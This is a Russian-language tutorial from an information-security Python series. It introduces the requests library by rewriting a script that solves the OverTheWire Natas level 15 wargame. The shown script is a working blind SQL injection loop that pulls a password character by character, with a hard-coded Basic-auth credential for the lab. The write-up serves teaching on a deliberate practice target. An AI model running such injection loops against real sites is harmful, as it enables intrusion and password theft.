Python в ИБ. Часть 6. Простые примеры работы с библиотекой Requests
Мы уже поработали с чистыми TCP-серверами, клиентами и прочими с связанными темами. Теперь поговорим про web. И начнём с создания простого клиента для сайта. Использовать при этом будем удобную и хорошо документированную библиотеку – “requests”.
Как и в уроке про pwntools, мы рассмотрим документацию, а точнее где её найти и саму установку библиотеки.
Полная окументация по “либе” расположена тут.
Установить данную библиотеку можно через простую команду менеджеру pip:
pip install requests
Проверить установку можно через простой импорт внутри интерактивной оболочки интерпретатора.
Перед непосредственным написанием кода, стоит сказать пару слов, для чего в целом эта библиотека. Данная библиотека создана для удобного взаимодействия с веб-сайтами и позволяет осуществлять очень полезные запросы, которые могут пригодится в анализе уязвимостей сайта и эксплуатации уязвимостей различного характера (например для Blind/Time-based SQLi).
Важна только практика
Для практики не будем заморачиваться с клиентом, обращающимся к случайному сайту и получющему с него данные, – это не особо интересно, хоть и достаточно показательно. Вместо этого попробуем переписать скрипт, с помощью которого решалось одно из заданий в хак-квесте Natas.
import urllib2
import base64
host = 'http://natas15.natas.labs.overthewire.org/index.php?username=natas16"+and+BINARY+SUBSTRING(password,%s,1)+=+"%s'
basiAuth = 'bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='
alph = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789'
i = 1
res_passwd = ''
while i != 64:
curSize = len( res_passwd )
for symbol in alph:
req_str = host % (str(i), symbol)
#print req_str
request = urllib2.Request(req_str)
request.add_header( "Authorization", "Basic %s" % basiAuth )
req_res = urllib2.urlopen( request )
req_data = req_res.read()
if "This user exists." in req_data:
res_passwd += symbol
print res_passwd
i += 1
break
if curSize == len( res_passwd ):
print "password is ", res_passwd
break
Заходим по ссылке выше (http://overthewire.org/wargames/natas/) и читаем описание к данному Wargame. Из описания можно понять, что уровни идут один за одним и имеют шаблон: http://natasX.natas.labs.overthewire.org где X – номер уровня. Пароль вы получаете на предыдущем уровне, а логин – это natasX, где Х – номер уровня.
Для первого задания нам сразу предоставлены данные для входа и ссылка:
Username: natas0
Password: natas0
URL: http://natas0.natas.labs.overthewire.org
В двух словах, дана форма поиска пользователя, подверженная SQLi, при этом это была слепая (blind) инъекция, так как мы могли видеть только 2 результата – существует такой пользователь или нет. С помощью инъекции можно было вытягивать символ за символом пароля. Таким образом и получался пароль. Это классический метод эксплуатации Blind SQLi и достаточно реальная задача, по этому её решение поможет в прокачивании навыков.
Приступим к решению.
Что надо дописать:
- Отправку запроса с инъекцией и выставленной базовой аутентификацией.
- Принять ответ и поместить тело ответа в переменную req_data
Совсем немного. Для начала определимся как выставить базовую аутентификацию. В документации можно найти следующее (ссылка). Отлично, с этим разобрались, теперь надо понять как нам приходит ответ и где содержится его тело. Ответ на этот вопрос можно найти на основной странице документации (тело ответа содержится в .text). В итоге добавляем всего 2 строчки.
Через requests.get() мы создаём GET-запрос к серверу, при этом указывая ему данные для базовой аутентификации. Ответ сохраняем в переменную “resp”, после чего считываем в переменную req_data тело запроса. Финальный вариант выглядит так:
С помощью этой библиотеки возможно просто манипулировать множеством полей в HTTP-запросах. В силу её распространённости вы можете найти практически любые примеры её использования для веба.
Также эта библиотека имеет крайне удобный класс называемый “Session”, который позволяет взаимодействовать с сайтом практически как через браузер (подробнее про класс – тут).
Ну как?